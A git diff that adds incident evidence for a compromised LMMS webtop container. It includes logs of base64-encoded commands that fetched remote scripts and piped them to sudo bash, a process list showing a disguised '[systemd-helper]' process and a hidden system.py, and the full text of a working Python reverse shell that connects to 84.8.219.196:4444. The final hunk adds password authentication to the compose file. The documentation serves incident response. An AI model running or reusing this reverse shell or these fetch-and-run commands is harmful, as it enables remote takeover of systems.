INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882593
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 34500) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 34500) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 34500)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 34500)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 34500) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 60970) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 60970)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 60970)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882727
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 60970) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 60970) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 60970)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 60970)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 60970) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 51246) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 51246)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 51246)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 924896
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 51246) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 51246) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 51246)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 51246)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 51246) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 52372) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 52372)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 52372)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 925006
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 52372) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 52372) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 52372)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 52372)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 52372) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
68
docs/incident-2026-11-11/lmms-processes.txt
Normal file
68
docs/incident-2026-11-11/lmms-processes.txt
Normal file
@@ -0,0 +1,68 @@
|
||||
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
||||
root 1 0.0 0.0 444 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-svscan -d4 -- /run/service
|
||||
root 17 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6-linux-init-shutdownd
|
||||
root 20 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6-linux-init/command/s6-linux-init-shutdownd -d3 -c /run/s6/basedir -g 3000 -C -B
|
||||
root 36 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-docker
|
||||
root 37 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xorg
|
||||
root 38 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xsettingsd
|
||||
root 39 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-selkies
|
||||
root 40 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-dbus
|
||||
root 41 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-watchdog
|
||||
root 42 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-de
|
||||
root 43 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-fdholder
|
||||
root 44 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-cron
|
||||
root 45 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-pulseaudio
|
||||
root 46 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-nginx
|
||||
root 47 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-oneshot-runner
|
||||
root 55 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-ipcserverd -1 -- /package/admin/s6/command/s6-ipcserver-access -v0 -E -l0 -i data/rules -- /package/admin/s6/command/s6-sudod -t 30000 -- /package/admin/s6-rc/command/s6-rc-oneshot-run -l ../.. --
|
||||
root 255 0.0 0.0 16256 512 ? Ss Nov05 0:00 sleep infinity
|
||||
abc 257 0.1 0.0 220800 2684 ? Ss Nov05 8:55 /usr/bin/Xvfb :1 -screen 0 2560x1440x24 -dpi 96 +extension COMPOSITE +extension DAMAGE +extension GLX +extension RANDR +extension RENDER +extension MIT-SHM +extension XFIXES +extension XTEST +iglx +render -nolisten tcp -ac -noreset -shmem
|
||||
root 263 0.0 0.0 15456 532 ? Ss Nov05 0:00 nginx: master process /usr/sbin/nginx -g daemon off;
|
||||
root 264 0.0 0.0 7616 560 ? Ss Nov05 0:00 bash ./run svc-cron
|
||||
root 271 0.0 0.0 7616 532 ? Ss Nov05 0:00 bash ./run svc-docker
|
||||
abc 272 0.0 0.0 584504 1388 ? Ssl Nov05 0:00 /usr/bin/pulseaudio --log-level=0 --log-target=stderr --exit-idle-time=-1
|
||||
abc 273 0.0 0.0 8400 736 ? Ss Nov05 0:00 dbus-daemon --system --nofork --nosyslog
|
||||
root 284 0.0 0.0 7616 552 ? Ss Nov05 0:00 bash ./run svc-xsettingsd
|
||||
root 291 0.0 0.0 16256 540 ? S Nov05 0:00 sleep infinity
|
||||
abc 293 0.9 0.0 205136 6904 ? Ss Nov05 78:44 /lsiopy/bin/python3 /lsiopy/bin/selkies --addr=localhost --mode=websockets
|
||||
root 300 0.0 0.0 16256 536 ? S Nov05 0:00 sleep infinity
|
||||
root 301 0.0 0.0 7720 552 ? Ss Nov05 0:00 bash ./run svc-de
|
||||
root 324 0.0 0.0 16256 532 ? S Nov05 0:00 sleep infinity
|
||||
www-data 329 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 330 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 331 0.0 0.0 15840 520 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 332 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 333 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 334 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 335 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 336 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 337 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 338 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 339 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
www-data 340 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
|
||||
abc 350 0.0 0.0 7064 692 ? S Nov05 0:00 dbus-launch --autolaunch c3c643608a2c4d938fe0ff45bbc71a78 --binary-syntax --close-stderr
|
||||
abc 358 0.0 0.0 8244 692 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
|
||||
abc 378 0.0 0.0 944500 2820 ? Sl Nov05 0:02 /usr/bin/xfce4-session
|
||||
abc 382 0.0 0.0 7064 668 ? S Nov05 0:00 dbus-launch --exit-with-session /usr/bin/xfce4-session
|
||||
abc 383 0.0 0.0 8508 836 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog --fork --print-pid 5 --print-address 7 --session
|
||||
abc 386 0.0 0.0 381088 1156 ? Sl Nov05 0:00 /usr/libexec/at-spi-bus-launcher
|
||||
abc 392 0.0 0.0 8252 1016 ? S Nov05 0:06 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 11 --address=unix:path=/config/.XDG/at-spi/bus_1
|
||||
abc 404 0.0 0.0 168852 1668 ? Sl Nov05 0:05 /usr/libexec/at-spi2-registryd --use-gnome-session
|
||||
abc 413 0.0 0.0 10484 248 ? Ss Nov05 0:00 /usr/bin/ssh-agent -s
|
||||
abc 418 0.0 0.0 8352 404 ? Ss Nov05 0:00 /usr/bin/gpg-agent --sh --daemon
|
||||
abc 421 0.0 0.0 1426868 2764 ? Sl Nov05 3:55 xfwm4
|
||||
abc 426 0.0 0.0 349856 2988 ? Sl Nov05 0:01 xfsettingsd
|
||||
abc 433 0.0 0.0 165364 948 ? Sl Nov05 0:00 /usr/libexec/dconf-service
|
||||
abc 439 0.0 0.0 899620 6468 ? Sl Nov05 0:13 xfce4-panel
|
||||
abc 447 0.0 0.0 7616 568 ? S Nov05 0:00 /bin/bash /usr/bin/Thunar --daemon
|
||||
abc 448 0.0 0.0 488128 2356 ? Sl Nov05 0:01 thunar-real --daemon
|
||||
abc 456 0.0 0.0 1601460 5836 ? Dl Nov05 0:02 xfdesktop
|
||||
abc 523 0.0 0.0 442576 1512 ? Sl Nov05 0:01 /usr/bin/lmms
|
||||
abc 551 0.0 0.0 1697780 2444 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 20971533 pulseaudio PulseAudio Plugin Adjust the audio volume of the PulseAudio sound system
|
||||
abc 588 0.0 0.0 416036 2336 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 20971534 actions Action Buttons Log out, lock or other system actions
|
||||
abc 600 0.0 0.0 392532 1432 ? Sl Nov05 1:16 /usr/bin/dunst
|
||||
root 76970 0.0 0.0 19024 3848 ? S Nov06 0:11 python3 /etc/.sys_core/system.py
|
||||
abc 77839 0.0 0.0 431748 2436 ? Sl Nov06 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 20971532 systray Status Tray Plugin Provides status notifier items (application indicators) and legacy systray items
|
||||
root 78069 5.4 3.4 3787272 569756 ? Sl Nov06 415:23 [systemd-helper] --config=/tmp/.c.json --no-watch
|
||||
root 964301 33.3 0.0 2888 1896 ? Ss 13:48 0:00 sh -c ps aux
|
||||
root 964307 0.0 0.0 9740 4124 ? R 13:48 0:00 ps aux
|
||||
29
docs/incident-2026-11-11/lmms-system.py
Executable file
29
docs/incident-2026-11-11/lmms-system.py
Executable file
@@ -0,0 +1,29 @@
|
||||
import socket, subprocess, time, sys, os, fcntl
|
||||
LOCK_FILE = "/tmp/.sys_core.lock"
|
||||
try:
|
||||
fp = open(LOCK_FILE, 'w')
|
||||
fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except IOError:
|
||||
sys.exit(0)
|
||||
|
||||
SERVER = "84.8.219.196"
|
||||
PORT = 4444
|
||||
|
||||
while True:
|
||||
try:
|
||||
s = socket.socket()
|
||||
s.connect((SERVER, PORT))
|
||||
while True:
|
||||
cmd = s.recv(1024).decode()
|
||||
if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]:
|
||||
break
|
||||
try:
|
||||
res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
|
||||
except Exception as e:
|
||||
res = str(e).encode()
|
||||
if len(res) == 0:
|
||||
res = b"[+] Executed\n"
|
||||
s.send(res)
|
||||
s.close()
|
||||
except:
|
||||
time.sleep(5)
|
||||
@@ -11,6 +11,8 @@ services:
|
||||
container_name: lmms
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
CUSTOM_USER: ${WEBTOP_USER:-family}
|
||||
PASSWORD: ${WEBTOP_PASSWORD}
|
||||
PUID: 1000
|
||||
PGID: 100
|
||||
TZ: Australia/Perth
|
||||
|
||||
Reference in New Issue
Block a user